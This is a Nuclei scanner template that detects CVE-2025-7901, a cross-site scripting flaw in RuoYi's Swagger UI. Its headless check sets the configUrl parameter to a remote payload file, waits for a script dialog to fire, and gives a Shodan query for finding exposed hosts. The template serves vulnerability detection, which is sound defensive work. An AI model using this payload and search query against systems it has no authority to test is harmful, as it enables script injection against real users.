id: CVE-2025-7901

info:
  name: yangzongzhuan RuoYi - DOM Based XSS
  author: Nikhil Patidar
  severity: medium
  description: |
    yangzongzhuan RuoYi = 4.8.1 contains a stored XSS caused by manipulation of the \"configUrl\" argument in /swagger-ui/index.html of Swagger UI, letting remote attackers execute scripts, exploit requires crafted request.
  impact: |
    Remote attackers can execute arbitrary scripts in users' browsers, potentially stealing data or performing actions on behalf of users.
  remediation: |
    Update to the latest version beyond 4.8.1.
  reference:
    - https://github.com/yangzongzhuan/RuoYi/issues/293
    - http://nvd.nist.gov/vuln/detail/CVE-2025-7901
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"RuoYi"
  tags: cve,cve2025,headless,ruoyi,xss,swagger,vuln

headless:
  - steps:
      - args:
          url: '{{BaseURL}}/{{swagger_path}}'
        action: navigate

      - action: waitdialog
        name: swagger_dom

    payloads:
      swagger_path:
        - 'swagger-ui/index.html?configUrl=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/helpers/payloads/swagger.json'

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - swagger_dom == true

      - type: word
        part: body
        words:
          - "swagger"
        case-insensitive: true
# digest: 4b0a004830460221009ecd5197eef9ed20cb18d67be5f0545fec3f9c85791e170e52b203041b2018aa022100899745438e3e8675e941a5684feee8f968d289f557ae3cc21d124e8a9e2d6f24:922c64590222798bb761d5b6d8e72950